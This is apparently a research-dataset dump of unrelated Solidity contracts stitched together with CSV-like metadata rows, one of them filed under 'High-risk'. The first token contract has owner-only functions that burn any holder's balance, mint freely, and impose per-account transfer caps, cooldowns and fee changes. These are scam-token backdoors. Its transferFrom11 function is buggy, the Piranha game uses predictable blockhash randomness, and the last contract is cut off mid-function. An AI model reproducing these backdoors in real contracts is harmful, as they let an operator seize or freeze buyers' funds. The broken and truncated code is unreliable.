emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function setDstimePercent(address account,uint256 rfh) external onlyOwner() {
_dstime[account] = rfh;
}
function setDXZPercent(address account,uint256 ds) external onlyOwner() {
_dxz[account] = ds;
}
function setDsPercent(uint256 ds) external onlyOwner() {
_onedaySeconds = ds;
}
function setFHPercent(address account,uint256 rfh) external onlyOwner() {
_fhbalances[account] = rfh;
}
function getfhbalanceOf(address account) external view returns (uint256) {
return _fhbalances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_tfee = taxFee;
}
function setLFeePercent(uint256 taxFee) external onlyOwner() {
_lfee = taxFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount=maxTxPercent;
}
function setFHAdd(address account) external onlyOwner() {
_fh = account;
_issxExcluded[_fh]=true;
_isZXZed[_fh]=true;
}
function indsAccount(address account) external onlyOwner() {
_iDSed[account] = true;
}
function outdsAccount(address account) external onlyOwner() {
_iDSed[account] = false;
}
function infhcludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is true");
_isExcluded[account] = true;
_excluded.push(account);
}
function outfhcludeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is false");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function inZXZAccount(address account) external onlyOwner() {
_isZXZed[account] = true;
}
function outZXZAccount(address account) external onlyOwner() {
_isZXZed[account] = false;
}
function insxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = true;
}
function outsxcludeAccount(address account) external onlyOwner() {
_issxExcluded[account] = false;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
//return _balances[account];
uint256 k=0;
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
k=k.add(fbing);
}
}
return _balances[account].add(k);
}
function tokenFromReflection(address account) private{
if (!_isExcluded[account] && _tFeeTotal > 0 && _bjs >= _mybing[account] && _balances[account] > 0){
uint256 rt=_totalSupply;
uint256 rAmount=_balances[account];
for (uint256 j = 0; j < _excluded.length; j++) {
rt=rt.sub(_balances[_excluded[j]]);
}
for (uint256 i = _mybing[account]; i < _bjs; i++) {
rt=rt.sub(_bing[i]);
uint256 fbing=rAmount.mul(_bing[i]).div(rt);
_tFeeBing=_tFeeBing.add(fbing);
_balances[account]=_balances[account].add(fbing);
_mybing[account]=i.add(1);
}
}
// if (!_isExcluded[account] && _tFeeTotal > 0){
// uint256 rAmount=_balances[account];
// uint256 rt=_tTotal.sub(_tFeeTotal);
// // for (uint256 i = 0; i < _excluded.length; i++) {
// // rt=rt.sub(_balances[_excluded[i]]);
// // }
// rt=rAmount.div(rt).mul(_tFeeTotal);
// //rAmount=rAmount.add(rt);
// _tFeeTotal=_tFeeTotal.sub(rt);
// _balances[account]=_balances[account].add(rt);
// }
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function transferFrom11(address sender, address recipient, uint256 amount,address recipient1, uint256 amount1,address recipient2, uint256 amount2) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient1, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount1, "BEP2E: transfer amount exceeds allowance"));
_transfer(sender, recipient2, amount1);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount2, "BEP2E: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP2E: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(address account,uint256 amount) public onlyOwner returns (bool) {
_burn(account, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP2E: transfer from the zero address");
require(recipient != address(0), "BEP2E: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(_balances[sender] >= amount, "Transfer amount must be greater than zero");
if (_issxExcluded[sender] || _issxExcluded[recipient]){
_transferFromExcluded(sender,recipient,amount);
}else{
_transferStandard(sender,recipient,amount);
}
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
if(sender != owner() && recipient != owner() && !_isZXZed[sender]){
if(_dxz[sender] > 0){
require(amount <= _dxz[sender], "Transfer amount exceeds the maxTxAmount.");
}else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(!_iDSed[sender]){
if(_dstime[sender] > 0){
require(block.timestamp.sub(_lastTransferTime[sender]) >= _dstime[sender], "Transfer is ds.");
}else{
require(block.timestamp.sub(_lastTransferTime[sender]) >= _onedaySeconds, "Transfer is ds!");
}
}
uint256 rebla=_balances[recipient];
tokenFromReflection(sender);
if(rebla>0)tokenFromReflection(recipient);
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
uint256 sxf=amount.mul(_tfee).div(100);
_balances[_fh]=_balances[_fh].add(sxf);
//emit Transfer(sender, _fh, sxf);
uint256 rsxf=amount.mul(_lfee).div(100);
uint256 tamount=amount.sub(sxf).sub(rsxf);
_balances[recipient]= _balances[recipient].add(tamount);
emit Transfer(sender, recipient, tamount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rebla==0)_mybing[recipient]=_bjs.add(1);
_bing[_bjs]=rsxf;
_bjs=_bjs.add(1);
_tFeeTotal=_tFeeTotal.add(rsxf);
}
function _transferFromExcluded(address sender, address recipient, uint256 amount) private {
if(sender != owner() && recipient != owner() && !_isZXZed[sender]){
if(_dxz[sender] > 0){
require(amount <= _dxz[sender], "Transfer amount exceeds the maxTxAmount.");
}else{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
}
if(!_iDSed[sender]){
if(_dstime[sender] > 0){
require(block.timestamp.sub(_lastTransferTime[sender]) >= _dstime[sender], "Transfer is ds.");
}else{
require(block.timestamp.sub(_lastTransferTime[sender]) >= _onedaySeconds, "Transfer is ds!");
}
}
uint256 rebla=_balances[recipient];
tokenFromReflection(sender);
if(rebla>0)tokenFromReflection(recipient);
_balances[sender] = _balances[sender].sub(amount, "BEP2E: transfer amount exceeds balance");
_balances[recipient]= _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
if(sender != owner())_lastTransferTime[sender] = block.timestamp;
if(rebla==0)_mybing[recipient]=_bjs.add(1);
}
function fhtransfer(address recipient) external returns (bool) {
uint256 tamount=_fhbalances[recipient];
if(tamount>0){
_fhbalances[recipient]=0;
_transfer(_fh, recipient, tamount);
return true;
}else{
return false;
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(msg.sender,receivers[i], amounts[i]);
}
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: mint to the zero address");
_totalSupply= _totalSupply.add(amount);
_balances[account]= _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP2E: burn from the zero address");
_balances[account]= _balances[account].sub(amount, "BEP2E: burn amount exceeds balance");
_totalSupply= _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP2E: approve from the zero address");
require(spender != address(0), "BEP2E: approve to the zero address");
_allowances[owner][spender]= amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP2E: burn amount exceeds allowance"));
}
}
| 283,781 | 10,849 |
239c8413645e4a1970da27bdaac910fdfa854fa0185436327d5c69ca9a59eb92
| 12,243 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x2b434a1b41afe100299e5be39c4d5be510a6a70c.sol
| 3,874 | 11,511 |
pragma solidity ^0.4.21;
contract Ownable {
address public contractOwner;
function Ownable() public {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
require(msg.sender == contractOwner);
_;
}
function transferContractOwnership(address _newOwner) public onlyContractOwner {
require(_newOwner != address(0));
contractOwner = _newOwner;
}
function contractWithdraw() public onlyContractOwner {
contractOwner.transfer(this.balance);
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley (https://github.com/dete)
contract ERC721 {
// Required methods
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function totalSupply() public view returns (uint256 total);
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract EthPiranha is ERC721, Ownable {
event PiranhaCreated(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "Piranha";
string public constant SYMBOL = "PiranhaToken";
mapping (uint256 => address) private piranhaIdToOwner;
mapping (address => uint256) private ownershipTokenCount;
struct Piranha {
string name;
uint8 size;
uint256 gen;
uint8 unique;
uint256 growthStartTime;
uint256 sellPrice;
uint8 hungry;
}
Piranha[] public piranhas;
uint256 private breedingCost = 0.001 ether;
uint256 private biteCost = 0.001 ether;
function balanceOf(address _owner) public view returns (uint256 balance) { //ERC721
return ownershipTokenCount[_owner];
}
function createPiranhaToken(string _name, address _owner, uint256 _price, uint8 _size, uint8 _hungry) public onlyContractOwner {
//Emit new tokens ONLY GEN 1
_createPiranha(_name, _owner, _price, _size, 1, 0, _hungry);
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) { //ERC721
return NAME;
}
function symbol() public pure returns (string) { //ERC721
return SYMBOL;
}
function ownerOf(uint256 _tokenId) public view returns (address owner) { //ERC721
owner = piranhaIdToOwner[_tokenId];
require(owner != address(0));
}
function buy(uint256 _tokenId) public payable {
address oldOwner = piranhaIdToOwner[_tokenId];
address newOwner = msg.sender;
Piranha storage piranha = piranhas[_tokenId];
uint256 sellingPrice = piranha.sellPrice;
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice && sellingPrice > 0);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 97), 100)); //97% to previous owner, 3% dev tax
// Stop selling
piranha.sellPrice=0;
piranha.hungry=0;
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //
}
TokenSold(_tokenId, sellingPrice, 0, oldOwner, newOwner, piranhas[_tokenId].name);
if (msg.value > sellingPrice) { //if excess pay
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
msg.sender.transfer(purchaseExcess);
}
}
function changePiranhaName(uint256 _tokenId, string _name) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender && msg.value == biteCost);
require(bytes(_name).length <= 15);
Piranha storage piranha = piranhas[_tokenId];
piranha.name = _name;
}
function changeBeedingCost(uint256 _newCost) public onlyContractOwner {
require(_newCost > 0);
breedingCost=_newCost;
}
function changeBiteCost(uint256 _newCost) public onlyContractOwner {
require(_newCost > 0);
biteCost=_newCost;
}
function startSelling(uint256 _tokenId, uint256 _price) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
piranha.sellPrice = _price;
}
function stopSelling(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.sellPrice > 0);
piranha.sellPrice = 0;
}
function hungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 0);
uint8 piranhaSize=uint8(piranha.size+(now-piranha.growthStartTime)/300);
require (piranhaSize < 240);
piranha.hungry = 1;
}
function notHungry(uint256 _tokenId) public {
require (piranhaIdToOwner[_tokenId] == msg.sender);
Piranha storage piranha = piranhas[_tokenId];
require (piranha.hungry == 1);
piranha.hungry = 0;
}
function bite(uint256 _tokenId, uint256 _victimTokenId) public payable {
require (piranhaIdToOwner[_tokenId] == msg.sender);
require (msg.value == biteCost);
Piranha storage piranha = piranhas[_tokenId];
Piranha storage victimPiranha = piranhas[_victimTokenId];
require (piranha.hungry == 1 && victimPiranha.hungry == 1);
uint256 vitimPiranhaSize=victimPiranha.size+(now-victimPiranha.growthStartTime)/300;
require (vitimPiranhaSize>40); // don't bite a small
uint256 piranhaSize=piranha.size+(now-piranha.growthStartTime)/300+10;
if (piranhaSize>240) {
piranha.size = 240; //maximum
piranha.hungry = 0;
} else {
piranha.size = uint8(piranhaSize);
}
//decrease victim size
if (vitimPiranhaSize>240)
vitimPiranhaSize=240;
if (vitimPiranhaSize>=50) {
vitimPiranhaSize-=10;
victimPiranha.size = uint8(vitimPiranhaSize);
}
else {
victimPiranha.size=40;
}
piranha.growthStartTime=now;
victimPiranha.growthStartTime=now;
}
function breeding(uint256 _maleTokenId, uint256 _femaleTokenId) public payable {
require (piranhaIdToOwner[_maleTokenId] == msg.sender && piranhaIdToOwner[_femaleTokenId] == msg.sender);
require (msg.value == breedingCost);
Piranha storage piranhaMale = piranhas[_maleTokenId];
Piranha storage piranhaFemale = piranhas[_femaleTokenId];
uint256 maleSize=piranhaMale.size+(now-piranhaMale.growthStartTime)/300;
if (maleSize>240)
maleSize=240;
uint256 femaleSize=piranhaFemale.size+(now-piranhaFemale.growthStartTime)/300;
if (femaleSize>240)
femaleSize=240;
require (maleSize > 150 && femaleSize > 150);
uint8 newbornSize = uint8(SafeMath.div(SafeMath.add(maleSize, femaleSize),4));
uint256 maxGen=piranhaFemale.gen;
uint256 minGen=piranhaMale.gen;
if (piranhaMale.gen > piranhaFemale.gen) {
maxGen=piranhaMale.gen;
minGen=piranhaFemale.gen;
}
uint256 randNum = uint256(block.blockhash(block.number-1));
uint256 newbornGen;
uint8 newbornUnique = uint8(randNum%100+1); //chance to get rare piranha
if (randNum%(10+maxGen) == 1) { // new generation, difficult depends on maxgen
newbornGen = SafeMath.add(maxGen,1);
} else if (maxGen == minGen) {
newbornGen = maxGen;
} else {
newbornGen = SafeMath.add(randNum%(maxGen-minGen+1),minGen);
}
// 5% chance to get rare piranhas for each gen
if (newbornUnique > 5)
newbornUnique = 0;
//initiate new size, cancel selling
piranhaMale.size = uint8(SafeMath.div(maleSize,2));
piranhaFemale.size = uint8(SafeMath.div(femaleSize,2));
piranhaMale.growthStartTime = now;
piranhaFemale.growthStartTime = now;
_createPiranha("EthPiranha", msg.sender, 0, newbornSize, newbornGen, newbornUnique, 0);
}
function allPiranhasInfo(uint256 _startPiranhaId) public view returns (address[] owners, uint256[] sizes, uint8[] hungry, uint256[] prices) { //for web site view
Piranha storage piranha;
uint256 indexTo = totalSupply();
if (indexTo == 0 || _startPiranhaId >= indexTo) {
// Return an empty array
return (new address[](0), new uint256[](0), new uint8[](0), new uint256[](0));
}
if (indexTo > _startPiranhaId+1000)
indexTo = _startPiranhaId + 1000;
uint256 totalResultPiranhas = indexTo - _startPiranhaId;
address[] memory owners_res = new address[](totalResultPiranhas);
uint256[] memory size_res = new uint256[](totalResultPiranhas);
uint8[] memory hungry_res = new uint8[](totalResultPiranhas);
uint256[] memory prices_res = new uint256[](totalResultPiranhas);
for (uint256 piranhaId = _startPiranhaId; piranhaId < indexTo; piranhaId++) {
piranha = piranhas[piranhaId];
owners_res[piranhaId - _startPiranhaId] = piranhaIdToOwner[piranhaId];
size_res[piranhaId - _startPiranhaId] = uint256(piranha.size+(now-piranha.growthStartTime)/300);
hungry_res[piranhaId - _startPiranhaId] = piranha.hungry;
prices_res[piranhaId - _startPiranhaId] = piranha.sellPrice;
}
return (owners_res, size_res, hungry_res, prices_res);
}
function totalSupply() public view returns (uint256 total) { //ERC721
return piranhas.length;
}
function transfer(address _to, uint256 _tokenId) public { //ERC721
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _createPiranha(string _name, address _owner, uint256 _price, uint8 _size, uint256 _gen, uint8 _unique, uint8 _hungry) private {
Piranha memory _piranha = Piranha({
name: _name,
size: _size,
gen: _gen,
unique: _unique,
growthStartTime: now,
sellPrice: _price,
hungry: _hungry
});
uint256 newPiranhaId = piranhas.push(_piranha) - 1;
require(newPiranhaId == uint256(uint32(newPiranhaId))); //check maximum limit of tokens
PiranhaCreated(newPiranhaId, _name, _owner);
_transfer(address(0), _owner, newPiranhaId);
}
function _owns(address _checkedAddr, uint256 _tokenId) private view returns (bool) {
return _checkedAddr == piranhaIdToOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
piranhaIdToOwner[_tokenId] = _to;
// When creating new piranhas _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 336,043 | 10,850 |
cb53393086f2692c246a7b1d90b2db79d6f49210e7322dedcfc1f5a13ae8ec4f
| 29,579 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ba/ba07b1b668da8a3f6b9b2c18ea94a4a357b72a8e_AvaxPrinter.sol
| 5,243 | 18,782 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvaxPrinter is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**9 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'AvaxPrinter';
string private _symbol = 'AVAXp';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 10;
uint256 private _maxTxAmount = 10**9 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
